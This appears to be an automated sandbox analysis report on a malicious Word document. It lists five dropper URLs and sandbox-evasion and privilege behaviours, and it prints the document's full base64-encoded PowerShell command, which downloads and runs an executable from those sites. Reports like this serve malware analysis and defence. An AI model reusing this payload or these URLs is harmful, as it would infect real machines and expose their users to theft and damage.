Analysis
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max time kernel
29s -
resource
win10v191014 -
submitted
29-01-2020 14:23
Task
task1
Sample
0b5f556c8d92261fdf0686c7641266d79c306b855ebe9894572d32667f59c9c2.doc
Resource
win10v191014
0 signatures
General
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Target
0b5f556c8d92261fdf0686c7641266d79c306b855ebe9894572d32667f59c9c2.doc
-
Sample
200129-dk6c6gjavn
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SHA256
0b5f556c8d92261fdf0686c7641266d79c306b855ebe9894572d32667f59c9c2
Score
10/10
Malware Config
Extracted
Language
ps1
Source
URLs
exe.dropper
http://blinkro.eu/wp-content/hMDRkCt/
exe.dropper
http://blasmontavez.com/wp-includes/ep0/
exe.dropper
http://luxuryflower.net/wp-content/cgNoUgY/
exe.dropper
http://gostareh.org/old/f7tSe81/
exe.dropper
http://hindwalkerphoto.com/wp-content/v1d8mo/
Signatures
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Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
PoWERsheLL.exedescription pid process Token: SeDebugPrivilege 4168 PoWERsheLL.exe -
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
PoWERsheLL.exepid process 4168 PoWERsheLL.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 4876 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
WINWORD.EXEpid process 4876 WINWORD.EXE -
Process spawned unexpected child process 1 IoCs
Processes:
PoWERsheLL.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4168 2080 PoWERsheLL.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0b5f556c8d92261fdf0686c7641266d79c306b855ebe9894572d32667f59c9c2.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4876
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C:\Windows\System32\WindowsPowerShell\v1.0\PoWERsheLL.exePoWERsheLL -e JABRAGsAdwBtAHAAaQBsAHUAawA9ACcAWgBkAGoAZQBlAG8AeABtAHkAJwA7ACQATwBtAHYAcABxAGQAdgB0AHMAbwBqACAAPQAgACcAMwAxADYAJwA7ACQAVABqAG0AaQBhAGkAcwBxAGIAYQBsAD0AJwBSAGQAdAB3AGYAdABlAHoAbgBwAG4AdQAnADsAJABGAGwAagByAHQAZABuAHAAaQBlAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAG0AdgBwAHEAZAB2AHQAcwBvAGoAKwAnAC4AZQB4AGUAJwA7ACQARQByAHcAawB5AGwAeABjAGMAYwB6AD0AJwBSAHcAZwB6AHIAZwBtAG4AbABkACcAOwAkAEwAdwB1AGEAeABiAGwAbAA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAATgBlAHQALgBXAEUAQgBDAEwAaQBlAE4AdAA7ACQAUwB0AGgAdwB2AHMAdABqAHYAYwA9ACcAaAB0AHQAcAA6AC8ALwBiAGwAaQBuAGsAcgBvAC4AZQB1AC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGgATQBEAFIAawBDAHQALwAqAGgAdAB0AHAAOgAvAC8AYgBsAGEAcwBtAG8AbgB0AGEAdgBlAHoALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGUAcAAwAC8AKgBoAHQAdABwADoALwAvAGwAdQB4AHUAcgB5AGYAbABvAHcAZQByAC4AbgBlAHQALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AYwBnAE4AbwBVAGcAWQAvACoAaAB0AHQAcAA6AC8ALwBnAG8AcwB0AGEAcgBlAGgALgBvAHIAZwAvAG8AbABkAC8AZgA3AHQAUwBlADgAMQAvACoAaAB0AHQAcAA6AC8ALwBoAGkAbgBkAHcAYQBsAGsAZQByAHAAaABvAHQAbwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHYAMQBkADgAbQBvAC8AJwAuACIAcwBwAGwAYABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABPAGIAbwBnAHUAegBvAGsAdABvAHoAZQA9ACcAUgB1AG8AYQByAHcAdQBoAG0AYwBoACcAOwBmAG8AcgBlAGEAYwBoACgAJABFAGYAcQBwAHYAdQBhAHAAegBkAGwAdgAgAGkAbgAgACQAUwB0AGgAdwB2AHMAdABqAHYAYwApAHsAdAByAHkAewAkAEwAdwB1AGEAeABiAGwAbAAuACIAZABvAHcAbgBMAE8AQQBgAEQARgBpAGAATABFACIAKAAkAEUAZgBxAHAAdgB1AGEAcAB6AGQAbAB2ACwAIAAkAEYAbABqAHIAdABkAG4AcABpAGUAKQA7ACQATgBkAGIAdABuAGcAcQBqAGoAagB3AGgAPQAnAEEAcwBkAHgAYgBpAGUAcAByAHkAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABGAGwAagByAHQAZABuAHAAaQBlACkALgAiAGwARQBOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA3ADcANQA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAHIAZQBBAGAAVABlACIAKAAkAEYAbABqAHIAdABkAG4AcABpAGUAKQA7ACQAWgBoAG8AbAB6AGYAZQBiAGcAcwB2AG0APQAnAEUAaABsAHMAdABvAG0AdQBwAGoAZgBmAGcAJwA7AGIAcgBlAGEAawA7ACQATQBjAGoAYQBtAHIAYwB2AHgAdwBjAHkAagA9ACcASQBrAGQAagB6AGkAZwBnAHEAeQBoAGUAcgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAHkAbQBkAHUAcQBtAGwAbAA9ACcATQBuAHYAcQBwAGMAYQBxACcA1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:4168